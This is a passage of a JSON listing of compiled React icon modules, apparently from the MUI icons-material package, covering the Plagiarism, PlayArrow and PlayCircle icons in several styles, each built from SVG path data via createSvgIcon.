d: \"M14 2H6c-1.1 0-2 .9-2 2v16c0 1.1.89 2 1.99 2H18c1.1 0 2-.9 2-2V8zm4 18H6V4h7v5h5z\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.03 11.03c-1.37 1.37-1.37 3.58 0 4.95 1.12 1.12 2.8 1.31 4.13.59l1.88 1.88 1.41-1.41-1.88-1.88c.71-1.33.53-3.01-.59-4.13-1.37-1.37-3.59-1.37-4.95 0m3.53 3.53c-.59.59-1.54.59-2.12 0-.59-.59-.59-1.54 0-2.12.59-.59 1.54-.59 2.12 0 .59.59.59 1.53 0 2.12\"\n}, \"3\")], 'PlagiarismTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlagiarismTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 4H6v16h12V9h-5zm.97 7.03c1.12 1.12 1.31 2.8.59 4.13l1.88 1.88-1.41 1.41-1.88-1.88c-1.33.71-3.01.53-4.13-.59-1.37-1.37-1.37-3.58 0-4.95s3.59-1.37 4.95 0\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"11.5\",\n  cy: \"13.5\",\n  r: \"1.5\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 2H6c-1.1 0-2 .9-2 2v16c0 1.1.89 2 1.99 2H18c1.1 0 2-.9 2-2V8zm4 18H6V4h7v5h5z\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.03 11.03c-1.37 1.37-1.37 3.58 0 4.95 1.12 1.12 2.8 1.31 4.13.59l1.88 1.88 1.41-1.41-1.88-1.88c.71-1.33.53-3.01-.59-4.13-1.37-1.37-3.59-1.37-4.95 0m3.53 3.53c-.59.59-1.54.59-2.12 0-.59-.59-.59-1.54 0-2.12.59-.59 1.54-.59 2.12 0 .59.59.59 1.53 0 2.12\"\n}, \"3\")], 'PlagiarismTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlayArrow.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 5v14l11-7z\"\n}), 'PlayArrow');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlayArrow.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 5v14l11-7z\"\n}), 'PlayArrow');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlayArrowOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 8.64 15.27 12 10 15.36zM8 5v14l11-7z\"\n}), 'PlayArrowOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlayArrowOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 8.64 15.27 12 10 15.36zM8 5v14l11-7z\"\n}), 'PlayArrowOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlayArrowRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 6.82v10.36c0 .79.87 1.27 1.54.84l8.14-5.18c.62-.39.62-1.29 0-1.69L9.54 5.98C8.87 5.55 8 6.03 8 6.82\"\n}), 'PlayArrowRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlayArrowRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 6.82v10.36c0 .79.87 1.27 1.54.84l8.14-5.18c.62-.39.62-1.29 0-1.69L9.54 5.98C8.87 5.55 8 6.03 8 6.82\"\n}), 'PlayArrowRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlayArrowSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 5v14l11-7z\"\n}), 'PlayArrowSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlayArrowSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 5v14l11-7z\"\n}), 'PlayArrowSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlayArrowTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 8.64v6.72L15.27 12z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m8 19 11-7L8 5zm2-10.36L15.27 12 10 15.36z\"\n}, \"1\")], 'PlayArrowTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlayArrowTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 8.64v6.72L15.27 12z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m8 19 11-7L8 5zm2-10.36L15.27 12 10 15.36z\"\n}, \"1\")], 'PlayArrowTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlayCircle.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2M9.5 16.5v-9l7 4.5z\"\n}), 'PlayCircle');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlayCircle.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2M9.5 16.5v-9l7 4.5z\"\n}), 'PlayCircle');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlayCircleFilled.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m-2 14.5v-9l6 4.5z\"\n}), 'PlayCircleFilled');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlayCircleFilled.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m-2 14.5v-9l6 4.5z\"\n}), 'PlayCircleFilled');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlayCircleFilledOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m-2 14.5v-9l6 4.5z\"\n}), 'PlayCircleFilledOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlayCircleFilledOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m-2 14.5v-9l6 4.5z\"\n}), 'PlayCircleFilledOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlayCircleFilledRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m-2 13.5v-7c0-.41.47-.65.8-.4l4.67 3.5c.27.2.27.6 0 .8l-4.67 3.5c-.33.25-.8.01-.8-.4\"\n}), 'PlayCircleFilledRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlayCircleFilledRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m-2 13.5v-7c0-.41.47-.65.8-.4l4.67 3.5c.27.2.27.6 0 .8l-4.67 3.5c-.33.25-.8.01-.8-.4\"\n}), 'PlayCircleFilledRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlayCircleFilledSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m-2 14.5v-9l6 4.5z\"\n}), 'PlayCircleFilledSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlayCircleFilledSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m-2 14.5v-9l6 4.5z\"\n}), 'PlayCircleFilledSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlayCircleFilledTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 20c4.41 0 8-3.59 8-8s-3.59-8-8-8-8 3.59-8 8 3.59 8 8 8M10 7.5l6 4.5-6 4.5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 22c5.52 0 10-4.48 10-10S17.52 2 12 2 2 6.48 2 12s4.48 10 10 10m0-18c4.41 0 8 3.59 8 8s-3.59 8-8 8-8-3.59-8-8 3.59-8 8-8m-2 3.5v9l6-4.5z\"\n}, \"1\")], 'PlayCircleFilledTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlayCircleFilledTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 20c4.41 0 8-3.59 8-8s-3.59-8-8-8-8 3.59-8 8 3.59 8 8 8M10 7.5l6 4.5-6 4.5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 22c5.52 0 10-4.48 10-10S17.52 2 12 2 2 6.48 2 12s4.48 10 10 10m0-18c4.41 0 8 3.59 8 8s-3.59 8-8 8-8-3.59-8-8 3.59-8 8-8m-2 3.5v9l6-4.5z\"\n}, \"1\")], 'PlayCircleFilledTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlayCircleFilledWhite.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  transform: \"scale(0.5, 0.5)\",\n  d: \"M24 4C12.95 4 4 12.95 4 24s8.95 20 20 20 20-8.95 20-20S35.05 4 24 4zm-4 29V15l12 9-12 9z\"\n}), 'PlayCircleFilledWhite');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlayCircleFilledWhite.mjs",
    "content": "import createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  transform: \"scale(0.5, 0.5)\",\n  d: \"M24 4C12.95 4 4 12.95 4 24s8.95 20 20 20 20-8.95 20-20S35.05 4 24 4zm-4 29V15l12 9-12 9z\"\n}), 'PlayCircleFilledWhite');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlayCircleFilledWhiteOutlined.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8zm-2-3.5l6-4.5-6-4.5z\"\n}), 'PlayCircleFilledWhiteOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlayCircleFilledWhiteOutlined.mjs",
    "content": "import createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8zm-2-3.5l6-4.5-6-4.5z\"\n}), 'PlayCircleFilledWhiteOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlayCircleFilledWhiteRounded.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm-2 13.5v-7c0-.41.47-.65.8-.4l4.67 3.5c.27.2.27.6 0 .8l-4.67 3.5c-.33.25-.8.01-.8-.4z\"\n}), 'PlayCircleFilledWhiteRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlayCircleFilledWhiteRounded.mjs",
    "content": "import createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm-2 13.5v-7c0-.41.47-.65.8-.4l4.67 3.5c.27.2.27.6 0 .8l-4.67 3.5c-.33.25-.8.01-.8-.4z\"\n}), 'PlayCircleFilledWhiteRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlayCircleFilledWhiteSharp.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm-2 14.5v-9l6 4.5-6 4.5z\"\n}), 'PlayCircleFilledWhiteSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlayCircleFilledWhiteSharp.mjs",
    "content": "import createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm-2 14.5v-9l6 4.5-6 4.5z\"\n}), 'PlayCircleFilledWhiteSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlayCircleFilledWhiteTwoTone.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nvar _interopRequireWildcard = require(\"@babel/runtime/helpers/interopRequireWildcard\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar React = _interopRequireWildcard(require(\"react\"));\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsxs)(React.Fragment, {\n  children: [/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    d: \"M12 20c4.41 0 8-3.59 8-8s-3.59-8-8-8-8 3.59-8 8 3.59 8 8 8zM10 7.5l6 4.5-6 4.5v-9z\",\n    opacity: \".3\"\n  }), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    d: \"M12 22c5.52 0 10-4.48 10-10S17.52 2 12 2 2 6.48 2 12s4.48 10 10 10zm0-18c4.41 0 8 3.59 8 8s-3.59 8-8 8-8-3.59-8-8 3.59-8 8-8zm-2 3.5v9l6-4.5z\"\n  })]\n}), 'PlayCircleFilledWhiteTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlayCircleFilledWhiteTwoTone.mjs",
    "content": "import * as React from 'react';\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx, jsxs as _jsxs } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsxs(React.Fragment, {\n  children: [/*#__PURE__*/_jsx(\"path\", {\n    d: \"M12 20c4.41 0 8-3.59 8-8s-3.59-8-8-8-8 3.59-8 8 3.59 8 8 8zM10 7.5l6 4.5-6 4.5v-9z\",\n    opacity: \".3\"\n  }), /*#__PURE__*/_jsx(\"path\", {\n    d: \"M12 22c5.52 0 10-4.48 10-10S17.52 2 12 2 2 6.48 2 12s4.48 10 10 10zm0-18c4.41 0 8 3.59 8 8s-3.59 8-8 8-8-3.59-8-8 3.59-8 8-8zm-2 3.5v9l6-4.5z\"\n  })]\n}), 'PlayCircleFilledWhiteTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlayCircleOutline.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m10 16.5 6-4.5-6-4.5zM12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}), 'PlayCircleOutline');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlayCircleOutline.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m10 16.5 6-4.5-6-4.5zM12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}), 'PlayCircleOutline');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlayCircleOutlineOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m10 16.5 6-4.5-6-4.5zM12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}), 'PlayCircleOutlineOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlayCircleOutlineOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m10 16.5 6-4.5-6-4.5zM12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}), 'PlayCircleOutlineOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlayCircleOutlineRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m10.8 15.9 4.67-3.5c.27-.2.27-.6 0-.8L10.8 8.1c-.33-.25-.8-.01-.8.4v7c0 .41.47.65.8.4M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}), 'PlayCircleOutlineRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlayCircleOutlineRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m10.8 15.9 4.67-3.5c.27-.2.27-.6 0-.8L10.8 8.1c-.33-.25-.8-.01-.8.4v7c0 .41.47.65.8.4M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}), 'PlayCircleOutlineRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlayCircleOutlineSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m10 16.5 6-4.5-6-4.5zM12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}), 'PlayCircleOutlineSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlayCircleOutlineSharp.mjs",
